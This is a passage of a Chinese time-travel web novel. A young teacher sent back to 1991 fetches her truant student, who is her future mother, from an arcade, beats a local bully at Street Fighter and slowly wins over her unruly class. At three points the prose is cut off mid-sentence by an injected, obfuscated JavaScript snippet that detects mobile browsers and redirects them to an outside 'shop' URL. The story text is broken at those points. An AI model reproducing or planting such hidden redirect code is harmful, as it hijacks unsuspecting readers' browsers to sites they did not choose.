夜里,徐嘉禾躺在床上辗转反侧,清亮的月光透过薄薄的窗帘洒进来。房子隔音不算好,偶尔能听到隔壁传来的几声犬吠和邻里小夫妻的笑语。 这一切的一切,都在提醒她,她没有在做梦,而是真的被困在了1991年,成了自己爸妈的班主任。 第二天早上时,徐嘉禾是顶着两个黑眼圈出现在办公室的。 许晴看到她这幅失魂落魄的样子,着实吓了一跳:“徐老师,你这是怎么了?为什么脸色这么差?” “没事,就是有点认床,”徐嘉禾苦笑着摆了摆手,“一晚上都没睡好,现在头还疼呢。” “那我有件更让你头疼的事情要说,”许晴把帮她从学校食堂拿的早餐递过来,“你们班谢昭,今天请假了,你知道吗?” “请假了?”徐嘉禾刚道了谢,拿过许晴手里的馒头咬了一口,就被她这话惊得呆住了,“怎么回事?” “谢昭家里人打电话来,说今天早上说了她两句,就饭都不吃拎着包跑了,”许晴一边啧啧连声一边摇头,“谢昭自己写了假条,托你们班另一个女孩子带过来呢。” 她说着,把谢昭的请假条递给徐嘉禾。纸条被捏得皱巴巴的,只有一行写得略显潦草、墨迹晕染开的字:身体不适,请假一天。 徐嘉禾捏着这张纸条,眉头紧锁:“只是吵了两句?那至于让谢昭离家出走吗?” “谁知道呢?”许晴摇头,“不过呢,徐老师你还是挺厉害的嘛。谢昭逃课都家常便饭了,这次还知道写个假条,大有进步啊。” 徐嘉禾不这么觉得,她抿了抿唇:“许老师,我今天上午没课,你帮我看着点纪律。” “你干嘛?”许晴疑惑地看徐嘉禾,见她已经提上包一副要走的架势,瞪大了眼睛,“你不会现在想去家访吧?” “我去看看,”徐嘉禾言简意赅,“毕竟还是孩子,走丢了就坏了。” 许晴欲言又止,最终只是摆摆手:“去吧去吧,唉,你说你较这个真干嘛……” 按照学生信息表上的地址,徐嘉禾找到了谢昭家所在的院子。 院子比徐嘉禾住的地方更显老旧,她敲开谢昭家的门,开门的是一个面容憔悴、神情温和的中年女人,眉眼间能看出和谢昭有几分相似。 “你找谁?”女人的语气不算太友 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117114|195938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 善。 一看到这张无比熟悉的脸,徐嘉禾的眼泪差点没掉下来。她闭了闭眼,才忍住没有叫出“姥姥”两个字:“您好,我是谢昭的班主任。” 谢昭的家,徐嘉禾再熟悉不过了。 小时候谢昭和徐湛都忙,她是被姥姥和姥爷带大的,在徐嘉禾记忆里,姥姥和蔼可亲,整天笑眯眯的;姥爷沉默寡言,但对她也言听计从。 徐嘉禾的小时候就是在这片院子、这间房子里,这个院坝也承载了她太多的童年回忆。 “老师,是不是谢昭又在学校里面闯祸了?”听到“班主任”三个字,女人的脸色瞬间沉了下来,语气也变得更冲,“我就知道,她一天不闹出点什么事来,就一天都不安宁。” “没有,谢昭最近表现挺好的,就是不知道为什么今天没来学校,”徐嘉禾心中一惊,小心翼翼地说,“我有点担心,就来看看。” “她也不在家,”谢昭母亲一边摇头,一边不忘侧身让徐嘉禾进屋坐,“不知道跑哪野去了。” 徐嘉禾在掉漆的木椅子上坐下,听着谢昭母亲大倒苦水,无非说些谢昭是如何不服管、如何顶撞父母、学习成绩如何一塌糊涂、又是如何让她在邻居同事面前如何抬不起头的事情。 “谢昭这个年纪,正是叛逆的时候,”徐嘉禾斟酌着开口安慰,“有脾气、有主意不完全是坏事。她其实挺聪明,也挺有责任心的,不是教不好的那种孩子。” “有什么责任心啊,怕是觉得自己大了,翅膀硬了还差不多,”谢昭母亲冷笑着,摇了摇头,“她爸性子急,她也是个倔脾气,早上气急说了她两句、打了她一下,人家倒好,直接拎着包走了。” 果然如此。 徐嘉禾的姥姥姥爷在面对徐嘉禾时,别说动手了,都没有说过一句重话,从来如珠似宝地宠着捧着,对谢昭却不是如此。 长大后的谢昭,还在某次晚饭的时候,半开玩笑半认真地说自己爸妈偏心,对徐嘉禾隔辈亲,当时还年幼的自己却得活得战战兢兢的。 徐嘉禾心里叹了口气,面上保持着平静,耐着性子劝:“您慢慢说就是……谢昭有没有说过自己去哪里了?” “谁知道她去哪儿,不就是那些乌烟瘴气的地方吗,什么游戏厅、台球室……”谢昭母亲越说越气,“老师,你说她一个姑娘家,天天往这种地方跑,像不像话?” 谢昭到底能去哪儿? 从谢家出来,徐嘉禾站在院子门口,陷入了沉思。 在刚刚谢昭母亲的一大串数落中,出现的最多的词是游戏厅。 八十年代后期,街机游戏已经逐渐普及。但九十年代初,街机厅的环境和现在的电玩城不能比。当时的街机厅是许多叛逆青少年聚集的场所,鱼龙混杂。 这个时间点,街机厅里全是不学无术的混混。谢昭那脾气,又一点就着,万一…… 徐嘉禾没有继续想,叹了口气,向最近的公共汽车站走去。 这个年代,最有名的街机厅,就只有市中心的那几家了。 5. 第 5 章 城南。 游戏厅里光线昏暗,烟雾弥漫,混杂着汗味、烟味和太多人聚集在一起而发出的怪异味道。 机器嗡嗡地发出嘈杂的电子音,十几个少年的脑袋凑在一起,围着街机又拍又打、大呼小叫。 谢昭坐在角落的超级马里奥机器前,全神贯注地操作着摇杆和按键。 “昭姐!又一命通关了!”她身边站着两个大约只有初中年纪的男孩,目不转睛地看着她的动作,眼神里满是崇拜,兴奋地拍手。 谢昭没应声,只是默默地按了前往下一关。 其实,她早就对这一切感到厌倦了。 游戏厅谢昭来过了太多次,这里总是乌烟瘴气,总是有一群无所事事的青少年聚在这里,用游戏中虚拟的胜利自我麻痹。 谢昭曾经觉得在这里自由,觉得在这里她可以忘掉学校,忘掉父母失望的眼神和刻薄的话语。 但现在,就连游戏通关的快感都开始褪色了。 谢昭知道自己不笨,偶尔听进去的课、看进去的知识点没有那么难以理解。她不是不想变好,如果她愿意去学,她同样相信自己能够学好, 只是,变好似乎就等于向爸妈低头,等于承认他们那些伤人的话有用;他们会沾沾自喜,觉得他们那套落后至极的教育方式真的有了效果。 谢昭偏不要遂他们的愿。 她就要像现在这样故意烂着,让他们着急,让他们在邻居同事家人面前丢脸,让他们知道自己的教育有多失败。 谢昭的腰因为保持着一个姿势在发酸、眼睛因长时间盯着屏幕而发涩、肚子也饿得有些发疼,但她不想回家,也不想离开这里。 就在她即将打通这一关时,游戏厅的玻璃门被推开了。 三个社会青年走了进来,为首的是个染黄毛的瘦高个,嘴里还叼着根烟。几人眼神在游戏厅里扫视一圈,最后落在了疑似老弱病残幼的谢昭和那两个小男孩身上。 黄毛先冲谢昭点了点头示意,接着伸手一拍其中一个小孩的肩膀:“喂,你买游戏币了吗?” 小男孩被拍得一哆嗦,怯生生地抬头看他:“买……买了……” “真是买的?”黄毛从他手心里把两枚被攥得汗津津的游戏币强行抠出来,“我看你小子贼眉鼠眼的样子,这币怕不是偷的吧?没收了。” “我没偷,这是我用早饭钱买的……”小男孩眼圈红了,想抢回来,却被黄毛轻易地一把推开,踉跄着差点摔倒。 “骗鬼呢,谁看见了?”黄毛把游戏币往天上抛,一脸无赖相,“谁证明是你的?” 他们声音太大,周围不少人都看了过来,但大多只是冷眼旁观,各人脸上都带着看好戏的表情。游戏厅老板坐在柜台后面,眼皮都没抬一下,对这种事早已司空见惯。 小男孩的力气哪比得过几个半大青年,被抢币了也不敢真的反抗,只能委屈地咬着嘴唇,抽噎得更厉害了。 谢昭的注意力终于从屏幕上移开,蹦蹦跳跳的马里奥因为失去操控,迎面撞上了一只乌龟。 “吵死了,”谢昭松开摇杆,转过椅子,面无表情地看着黄毛,“二十多岁的人了,欺负小孩,也不害臊。” “谢昭,话不能这么说啊,”黄毛嬉皮笑脸地凑近了些,“这小子手脚不干净,我这是替你管……” 他话还没说完,一只纤细而有力的手按在了他肩膀上,平静的女声在他身后响起:“挺热闹啊。” 黄毛一惊,猛地回头,对上一双清亮的眼睛。 徐嘉禾不知什么时候进了游戏厅,她穿着蓝白条纹的连衣裙,文静优雅的气质和乌烟瘴气的游戏厅格格不入。她看上去像个学生,但那双眼睛里的沉静,又不像是普通学生会有的。 “你谁啊?”黄毛甩开她的手,语气不善。 “我是谢昭的老师。”徐嘉禾看了他一眼,目光落在了谢昭身上。 “老师?”俗话说强龙不压地头蛇,更别说徐嘉禾看起来还只是一个刚毕业的女大学生。黄毛嗤笑一声,显然没把徐嘉禾放在眼里。 他甚至还凑近一步,故意朝徐嘉禾吐了口烟圈:“老师不好好在学校教书,跑这儿来干嘛?” “我来找谢昭,”烟味呛人,徐嘉禾微微皱眉避开,“跟我回去。” 谢昭张了张嘴,显然也愣住了,她完全没想到会在这里见到徐嘉禾。她眼神里掠过了一丝挣扎,最后却还是扭过头,也不看徐嘉禾:“我不回去。” “听见没?人谢昭不乐意跟你走。”黄毛见谢昭没听徐嘉禾的,胆气又壮了几分,伸手想去推徐嘉禾的肩膀,“这位大姐,少管闲事……” “什么叫管闲事?”他的手还没碰到徐嘉禾,就被她轻轻巧巧地躲开了,她平静地问,“我怎么觉得比起我,谢昭更不想搭理你?” 黄毛被这样直白的话说得愣了愣,一股被挑衅的无名火噌地一下就冒了上来:“你什么意思?” 他在这片游戏厅里也算跟大多数人混了个脸熟,平日里作威作福惯了,别人对他的行为都睁只眼闭只眼,还没遇到过这么不识相的。更别说,对方还是个看起来就很好拿捏的女老师了。 “……行了,都别吵吵了。”谢昭烦躁地抓了抓头发,她瞥了黄毛一眼,从椅子上站起来,“黄毛,把币还给他们,我要走了。” 黄毛脸色沉了下来,谢昭和他杠上、当着他小弟和这么多人的面无视他要走,已经让他很没面子了。 现在还要他还游戏币? “你这就不够意思了吧?”黄毛冷笑,侧身拦在谢昭面前,没动,“她几句话就把你唬住了?还要不要混了?” “你还拦上我了?我要做什么,跟你有什么关系?”他这一下,谢昭的脾气也上来了,我说,让开。 眼看气氛又要紧张起来,徐嘉禾忽然开口,语气里带了一丝笑意:“看来,这位朋友是觉得,光说话不好使,你们的规矩才管用?” “你要这么说,其实是这个道理。”黄毛被这么一激,面子上有些挂不住,“怎么?老师难不成想和我们比划比划?” “比划就不必了,”徐嘉禾摇了摇头,“我是文化人,你要是想打架,我就要报警了。最近的警察局离这儿就一分钟的路程吧?” “怎么这么小气,动不动报警多没意思。”黄毛默默把拳头收了回去,他环顾周围,灵机一动,“那你想怎么样?咱们就在游戏厅,要不,比打游戏?” “黄毛,你有病吧?”谢昭眼皮跳了跳,“你让她和你比打游戏?你怎么不和她比做题呢?” 黄毛此人,虽然是个典型欺软怕硬的小人、人品相当不怎么样,但游戏技术颇为值得说道。 就连谢昭对上他,都没有稳赢的决心。 “怎么?不敢啊?”黄毛挑眉。 “可以,”谢昭还想再说什么,徐嘉禾却摆了摆手,开口答应黄毛,“你想打哪个游戏?我试试。” 谢昭和黄毛同时一愣。 “你干什么?”谢昭这下真有些急了,抬手去拉徐嘉禾的胳膊,“你这种大学生,压根没来过这种地方吧?你跟他这个天天泡在这里的人比打游戏?” “那怎么了?”徐嘉禾冲谢昭笑了笑,“聪明的人干什么都聪明,要是高考考打游戏,我一样能考上大学。” 其实徐嘉禾这话,说的不是自己,而是她遇到过的一个学长。 学长因为跳过级,年龄比她小,但在各方面都有着超人的天赋,当然也包括打游戏。徐嘉禾从小到大就精通各种游戏,但她对上那个学长,可谓是毫无胜算。 主机游戏打遍了,她还不服气,又选了一款公认上手难度高的手游给学长玩。结果对方认真练了不到一个星期,水平就远远超过徐嘉禾;玩了不到半年,已经能和排到的职业选手们掰腕子了。 从那天起,徐嘉禾才终于承认,智商的影响是多方面的。 但这话,在黄毛和谢昭听来,就是毋庸置疑的自大。 “这么狂?”黄毛冷笑,把椅子拉过去,“行啊,街霸怎么样?新机器,我都没玩过几把,别说我欺负你。” “可以,”徐嘉禾活动活动手指,无视谢昭欲言又止的表情,“但是,光是输赢没意思。加点彩头?” “什么意思?”黄毛警惕地看着她。 “我赢了,就把谢昭带走,”徐嘉禾看了一眼谢昭,“你把刚才抢那两个小孩的游戏币翻倍还给他们。” “那你输了呢?”黄毛梗着脖子问。他拖长了调子,目光不怀好意地在徐嘉禾和谢昭之间来回睃巡,“你给我买二十块钱的币,然后立马滚蛋?” “可以,”徐嘉禾干脆地应下,“三局两胜。” 谢昭压低声音,语气里满是焦躁:“你疯了?二十块钱?你一个月工资才多少?而且你怎么可能赢他!” “谢昭,你这话就没意思了嘛,”黄毛嬉笑着冲蹙着眉的谢昭说,“老师都这么有自信,你应该相信她啊。” 话是这么说,但黄毛他压根就没想过自己会输。 只可惜,黄毛注定要失望了,他对上徐嘉禾可谓毫无胜算。 毕竟,卡普空和任天堂的游戏,徐嘉禾几乎全都玩过。1991年,《街头霸王》刚出不久,黄毛等人或许还真没玩过几次,但徐嘉禾已经连这个游戏的老底都给摸清了。 唯一的问题,可能是徐嘉禾惯用手柄和键盘,真正用街机摇杆和按钮操作的机会不多。 但一来,她在现代的电玩城也玩过这样老式的机子;二来,反应、预判、闪避,这些游戏的底层逻辑依然是互通的。 第一局还几乎是黄毛的单方面表演,徐嘉禾对摇杆和按键的延迟都不太熟悉,像素小人在她的操纵下显得更加有些迟滞。黄毛轻而易举就清空了徐嘉禾的血槽。 黄毛一边嘲讽,一边投币开了下一把。 然而,他实在是高兴得太早了。 电竞比赛中的无数血泪教训,都告诫着我们千万不能半场开香槟。 第二把和第三把,徐嘉禾熟悉了摇杆按键的手感之后,面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117115|195938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对真正没打过太多次街霸的黄毛,几乎打上了碾压局。 第二局徐嘉禾还象征性地掉了半管血,第三局她直接利用了游戏机制的一个bug,将黄毛按在地上一直揍。黄毛刚起来就又被连招按回地上,完全无法反制,只能眼睁睁地看着自己的角色被清空了血条。 “K.O.”的标志在屏幕上亮起时,整个游戏厅陷入了短暂的寂静。 “让一追二,我赢了,”徐嘉禾伸了个懒腰,笑眯眯地看着面色铁青的黄毛,“怎么样?愿赌服输?” “行,你厉害。”黄毛盯着徐嘉禾看了一会儿,忽然咧嘴笑了,笑容有点冷,“我记住你了,锦大附中的老师,对吧?” 徐嘉禾没承认也没否认,只是平静地看着他。 “咱们走。”黄毛阴恻恻地看了徐嘉禾和谢昭一眼,给小男孩买了游戏币,领着小弟转身朝门口走去。 游戏厅的门开了又关,三个人的身影消失在门外的光线里。徐嘉禾这才松了口气,后知后觉感觉到后背一层薄薄的冷汗。 她知道自己刚才那样相当冒险,但在这种情况下,一丝一毫不能露怯。 “你没事吧?”她转向谢昭。 “没事,”谢昭用一种极为复杂的眼神盯着徐嘉禾,上上下下地打量,好像第一次真正认识她,“你跟踪我?” “谁跟踪你了?我只是猜的你在这里,没想到猜对了而已,”徐嘉禾乐了,看了看谢昭身边那两个怯生生的小男孩,“你朋友?” “不认识的小孩,”谢昭含糊道,拍了拍两个小男孩的头,示意他们自己去玩,“你刚才干嘛激黄毛?那种人……” “那种人,你越怕,他越来劲,”徐嘉禾打断她,“一起走吧?” 谢昭抿了抿唇,起身跟在徐嘉禾身后往外走。 黄毛那伙人不是什么善茬,她谢昭在这里混得开,多是因为她不怕事、敢动手,而且一般也不会像今天这样直接杠上黄毛这种角色。 徐嘉禾一个文文弱弱的老师,刚才当众扫了他的面子……… “你说你猜的,那你怎么猜到这里的?”徐嘉禾和谢昭一前一后走出游戏厅,来到巷子里,谢昭终于开口。 “我去你家了一趟,”徐嘉禾没有直接回答,而是反问,“为什么逃课?” 谢昭目不斜视,踢着路上的小石子:“家里待不下去。” “所以就来这种地方,和这种人混在一起?”徐嘉禾叹了口气,“谢昭,你是个聪明孩子,应该知道这不是解决问题的办法。” “那你说我该怎么办?”谢昭猛地转过头,眼睛有些发红,“我爸根本就不讲道理,我妈又只会和稀泥,家里根本就没有我能待下去的地方!” 徐嘉禾看着她倔强的脸,忽然想起了多年后母亲和自己的一次聊天。 那是谢昭少有的、在徐嘉禾面前流露出脆弱的时刻。 “你姥爷以前特别自大,”谢昭当时苦笑着说,“所以,每次和他吵了架,我就什么坏事都干、把他气得半死。” “他觉得自己无论做什么都是对的,我就偏要给他证明,至少他在教育孩子这件事上大错特错,所以才会养出来我这么一个不听话的坏女儿。我越坏,就越证明了他的错误。” 徐嘉禾完全能够理解谢昭的感受,因为即使谢昭非常讨厌她父亲的教育方式,但她在教育徐嘉禾时,仍然受到了这种思想潜移默化的影响。 而她这样自我牺牲式的反抗,曾经的徐嘉禾也有过类似的想法。 甚至,从某种角度讲,徐嘉禾正在用同样的方式自暴自弃。 “你想反抗,这没有错。”徐嘉禾沉默了一会儿,“但用这种办法反抗是最不明智的,除了毁掉了自己,你惩罚不了任何人。” 似乎没想到徐嘉禾会这么说,谢昭咬着嘴唇,没有说话。 “如果你真想改变别人对你的看法,”徐嘉禾继续说,“就要用更有效、更无害的方式。” “什么方式?”谢昭闷闷地问。 “比如,他们觉得你无药可救,你就要让你父母看到,你不是他们想象中的那种孩子,”徐嘉禾看着她,“这怎么不算是一种反抗呢?” “比如说像我一样,”她想了想,补充道,“你可以回去把我讲给你父母听。让他们知道,不是玩游戏或者打台球就会变坏,会玩和会学二者之间其实是有关联的。” 谢昭愣了愣:“但是我……” “放心,我不会强迫你回家、或者是回学校,”徐嘉禾打断了她的话,从包里掏出一张纸和一支笔,写下一个地址,“这是我的住址,如果你今天晚上不想回家,又觉得没地方可去,可以来找我。” “下午的课,从我个人的角度,我希望你能来。”她把纸条递给谢昭,“如果实在不想上课,也可以来办公室找我聊天。” 谢昭接过纸条,看着上面的地址,眼神复杂。 “还有,你昨天帮了徐湛,我看到了,”徐嘉禾笑了笑,带头往公交车站走去,“你是个好班长。” 6. 第 6 章 那天下午,谢昭还是在午饭后来了学校。 徐嘉禾真的把逃课的谢昭逮回来了、谢昭还是心甘情愿自己回来的,这件事在五班引起了小小的骚动。 虽然谢昭在学校也不见得在认真学习,但好歹人确实是乖乖在座位上坐着了。 第一节课下课,几个平时跟她走得近的学生围在谢昭的座位旁,七嘴八舌地问她早上发生了什么事情。 “昭姐,”一个留着短发的女生问,“听说你早上跟家里吵架了?” “算是吧,”谢昭趴在桌上,懒洋洋地应到,“心情不太好,跑去打游戏了。” “那你怎么又回来了?”另一个男生凑过来,颇为好奇地道,“徐嘉禾她干什么了?” “就你管得宽,”谢昭不耐烦地啧了一声,抬起头瞥他一眼,“我想回来就回来,管徐嘉禾什么事?” 虽然她的语气还是那么冲,但是熟悉谢昭性格的人都能感觉得到,她整个人的表现,较过去少了不少戾气。 自从那天从游戏厅回来,谢昭的表现可以说是有了质的变化。虽然还是整天一副无所事事的样子,但她每天都按时到校,上课即使是盯着黑板发呆也不看小说了,作业也勉强会写几笔。 虽说仅此而已,但光是这些,已经足够让五班的人对她刮目相看了。 不过,更让人意外的还是徐湛。 作为要收发作业和试卷的课代表,要和同学产生更多的联系,自然也就会产生更多的矛盾。 偶尔有学生故意不交作业,想着找些什么借口把课代表打发了过去。大多课代表为了避免麻烦,也就睁一只眼闭一只眼,偶尔也会有人公事公办把名字报给老师。 成了语文课代表后,徐湛依旧沉默寡言、超脱三界之外不在五行之中,但他该收的作业永远是一本不落,该发的试卷也永远是一张不少。 徐嘉禾对他是怎么做到这件事的疑惑了很久,经过观察后才发现,性格温吞的徐湛确实没办法做到像谢昭那样暴力镇压,但他不会不了了之,而是会站在不交作业的那人桌前,平静地重复:“语文作业。” 就这么四个字,反反复复地念叨,他能一直站到对方受不了,硬着头皮翻箱倒柜也得找出本子,把这位大佛给打发走。 五班两位典型人物都发生了这样翻天覆地的变化,这让其他学生对徐嘉禾此人更加疑惑与好奇了。 尽管谢昭对那天的事情一直语焉不详,没有直说她和徐嘉禾在游戏厅经历了什么,但“一名年轻老师和黄毛单挑街霸,让一追二”的消息,很快就传到了五班这群学生的耳朵里。 结合时间地点,很容易就能推断出,已经被添油加醋到面目全非的故事里,那个宛如神兵天降、怒目圆睁、只用一根小拇指、就手起刀落,把嚣张跋扈的黄毛斩于马下的老师,正是徐嘉禾。 同学们发现,班主任徐嘉禾,似乎真有两把刷子,不仅能让昭姐收敛起来,还敢单枪匹马闯游戏厅单挑混混。 这样充满江湖气息的传说,意外地让徐嘉禾在五班学生心中更加多了几分威信。 她接手高二五班满打满算也就一周,但明眼人都能瞧出些学生们的变化。 上课时不再有人在教室后面打闹玩牌,作业本也能几乎全收上来,每天早上,各科课代表抱着一大摞作业往教室办公室走,乍一看上去,谁都会觉得五班好像转性了。 不过这不过是面子工程,翻开作业本,有在书上画画的、有每个题号下都写自己不会的、更有一整本书上唯一的笔迹是封皮上的名字的。 一本本翻过去,真正能看的不到一半。 徐嘉禾很清楚,直到此时,真正的硬仗才开始。不过她并不准备大刀阔斧地再次改革,而是准备徐徐图之。 毕竟让学生真正开始学习、和让学生遵守纪律不再捣乱比起来,很难说哪个更重要,但前者肯定比后者更为困难。 然而即使是这样,徐嘉禾这样雷厉风行的管理方式,却已经开始让大多数已经自由散漫惯了的人对此感到不适了。 又是一个周一早晨,徐嘉禾踏进教室时,敏锐地察觉到,教室里陷入了一种诡异的安静。 学生们在她走进来时,齐刷刷地抬起眼睛看她一眼,又很快低下头去,翻书的翻书,写字的写字。他们看上去都在全神贯注地做自己的事情,却时不时地偷瞄,看徐嘉禾有没有在盯着自己看。 学生们的这些小动作没有逃过徐嘉禾的眼睛,这种安静,徐嘉禾更是再熟悉不过了,这是一种粉饰太平的、刻意表演给老师看的安静。 但徐嘉禾只是装作没看见,她扫视一圈,把教案放在讲台上:“早自习,大家按照自己的进度复习,有什么问题随时可以来办公室问我。” 说罢,她就拎着水壶离开了教室。 徐嘉禾前脚刚走出教室,后脚教室里的学生们彻底松弛了下来,爆发出嗡嗡的议论声和抱怨声。 “装什么装啊,真受不了了,”一个男生把桌面上刚发的练习题单揉成一团,瞄准了远处的垃圾桶,抬手将纸团抛了进去,“这徐嘉禾还真把自己当根葱了。” “这日子什么时候是个头,”旁边的附和道,“实在不行想点什么办法给她送走吧,太折磨了。” “别,”一个女生正低头写作业,闻言连忙抬头,“徐嘉禾送走了,估计再派来的又是之前那样的班主任了;她虽然烦了点,但你得对比啊。” “再说了,你想怎么样把徐嘉禾送走?你敢弄她?” 女孩子的这话一时间让所有人都陷入了沉默。 这也是学生们即使对徐嘉禾有诸多不满,仍然只是停留在私下议论的层面的重要原因之一。 毕竟谣言一传十、十传百,传来传去,徐嘉禾的形象已经变成手持两把菜刀,从街头砍到巷尾的狠角色了,说好听点是玉面修罗,说难听点就是纯恐怖分子。 “但她天天盯着作业啊考试啊,真的太烦人了,”男生泄气地挠着头,“老子压根就不想学,活了十七年,就没这么憋屈过。” “徐嘉禾最大的问题还不是这个,”那个女孩嘁了一声,压低了声音,一副故作玄虚的样子,“你们发现没,她对谢昭和徐湛特别上心。” “谢昭逃课她亲自去抓,徐湛和她关系也特别好。我们其他人就是爱学不学,反正她管是管了,具体怎么样就不关她的事了。” “那多正常啊,”另一个男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117116|195938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生冷笑,“学习成绩好的、脸蛋好看的,到哪儿都吃香,老师肯定也喜欢这种学生啊。” 周围听到了这段对话的几个学生都沉默了一瞬。 十七八岁的少年,骨子里既傲气又自卑,嘴上说着的和心里想着的根本就不是一回事。 你真逼着他学,会激起他的逆反心理;但你真的对他撒手不管,他实际上又渴望被看见、渴望被理解、渴望被当回事。 尤其是被迫生活在“五班”这个标签下的学生们,那种混杂着自弃与不甘的情绪,越发会在阴暗潮湿的地方生根发芽。 他们大多会选择直接承认自己放弃了学习,似乎只要自己先表示不在乎,别人的轻视就伤害不到他们。 然而,但凡是人,都是有自尊的。 “我就搞不清楚,你们那么怕她是干什么?”氛围僵硬了片刻,终于是另一个男生打破了沉默,“你们真觉得她赢过了黄毛?” “得了吧,”女生嗤笑,“谢昭亲眼看见的,你说真的假的?要是假的,她能允许徐嘉禾在这里成天作威作福?” 提到谢昭,几人不约而同地悄悄回头,看向教室后排的那个女生。 谢昭正趴在桌子上补觉,她没扎头发,长长的黑发在课桌上散落开来,整个人居然显得有一丝沉静。 “昭姐最近真的挺奇怪的。”另一个女生小声嘀咕,“难不成是因为见证了徐嘉禾干的好事,被她吓到了?不然解释不了为什么昭姐这么乖巧啊?” “说坏话说到我头上了?”他们的议论声不大,但由于实在是过于光明正大了,谢昭想装作没听到都难。她抬起头,冷冷地扫了一眼集体倒吸了一口凉气的众人,“闲得慌?” 人群立刻噤声,做鸟兽散。 谢昭摇了摇头,打了个哈欠,重新趴回去睡觉。 徐嘉禾在外面偷听了一小会儿,发现只是在自己出去后的几分钟里,班级有短暂的喧哗,随即便恢复了平静。 她松了口气,拿着水瓶往开水房走去。 对现在班级里这样平静下的暗涌,徐嘉禾自然心知肚明。她虽然不清楚学生们在背后具体议论了什么,但她清楚地知道,他们的乖巧只是表象。 五班这样的班级,能维持表面秩序已经是非常大的进步了。至于作业质量、学习态度这些更深层的东西,急不得。 开水房里热气腾腾,几个老师正在排队接水。见到徐嘉禾进来,一个中年男教师冲她点了点头:“徐老师,你们班最近变化还挺大的,恭喜啊。” “刘主任,”徐嘉禾一眼就认出来,这是高二年级的教导主任、也正是把她坑去带五班的那个,笑里藏刀地冲他点了点头,“刚开始而已,都是表面功夫,离真正的改变还远着呢。” “已经很不容易了,”刘主任感慨,“五班那帮孩子,你能让他们乖乖坐在教室里,这就是相当大的一个成绩了。” “或许吧,”徐嘉禾接满了水,冲他点了点头,“我先回去备课了。” 改变需要时间,尤其是对于五班这样、已经生成一套属于自己的、完整的生存模式的学生们。 徐嘉禾现在要做的,就是保证大方向不偏,其余的还得交给时间。 7. 第 7 章 徐嘉禾花了将近半个月的时间,才逐渐适应这个年代的生活节奏。 1991年的一切都和现代不太一样,但奇怪的是,她并没有想象中那么焦虑。 或许是因为有了要把谢昭和徐湛顺利送上大学这个想法,这种忙碌但有明确目标的生活,反而让她比在现代当班主任时要更加有干劲一些。 不过,如果不用消耗这样的干劲在应对九十年代初略显枯燥的日常生活上,徐嘉禾觉得,自己的幸福指数还能更提高。 在日常生活中,最让她头疼的,莫过于饮食了。 虽说已经度过了缺衣少食的年代,但这个时候食物的花样较现代还是有所欠缺。即使教师食堂伙食比学生食堂好上不少,但也强得有限。 徐嘉禾已经习惯了现代饮食的胃对此表示了强烈的抗议。才吃了几天,她已经开始有些怀念重油重盐的炸鸡和奶茶咖啡了。 只可惜,1991年锦宁还没有开连锁快餐店;而现在有卖的、能让人解馋的可乐一瓶两三块,这价格也让本就不富裕的徐嘉禾望而却步。 关于吃这件事,或许是因为正是半大小子吃垮老子的时候,五班这群精力旺盛的少年人,对此则有着超乎寻常的执着和源源不断的创意。一到课间,总有人在互相分享从家里带来的炒货和零食,连有人喝牛奶,他同桌都会想要来上一口。 一次自习课,徐嘉禾在上面坐班,时不时抬头看一眼下面,逐渐发现谢昭坐在教室第一排都还在偷吃苹果。 其实谢昭做得挺隐蔽的,她小口小口咬,在嘴里嚼时还小心翼翼没有发出咀嚼声。她还相当擅长察言观色,每次都能在徐嘉禾抬头前把苹果放回原处。 然而徐嘉禾逐渐发现了端倪,是因为她每次抬头,都能看到谢昭桌子上的苹果小了一圈。一开始还是一个完整的、红彤彤的大苹果,自习课还没上一半,苹果就只剩核了。 徐嘉禾没忍住扶额,然而有卧龙的地方必有凤雏。没过几分钟,徐嘉禾就发现五班另一个女生的抽屉里藏了一小包猪油渣。 如果说谢昭被发现,是因为她把徐嘉禾当瞎子整,那这个女生被发现,就是因为把全班同学当鼻炎患者整。 她带的猪油渣是自家炸的,炸得金黄酥脆,外面还裹了辣椒面,用报纸包着带到了教室。在她打开纸包偷吃的那一刻,猪油渣的香味顿时溢了出来,香到全班同学都忍不住抬头找香味来源。 不过,徐嘉禾对这个女生也没有进行大肆批判。 毕竟只是自习课嘴馋这种无伤大雅的小事而已,只要做得不出格、在徐嘉禾的忍受范围之内,她对这种事情可以视而不见。 这天上午没有语文课,徐嘉禾好不容易把教案写完闲了下来,顺带就把积攒着的上周的周记给批改了。 写周记这件事,是徐嘉禾强制要求的,不过就连谢昭都不理解这到底有什么用。 其实,徐嘉禾也没打算让五班这群语文满分120、平均分40来分的人写出什么好词佳句。 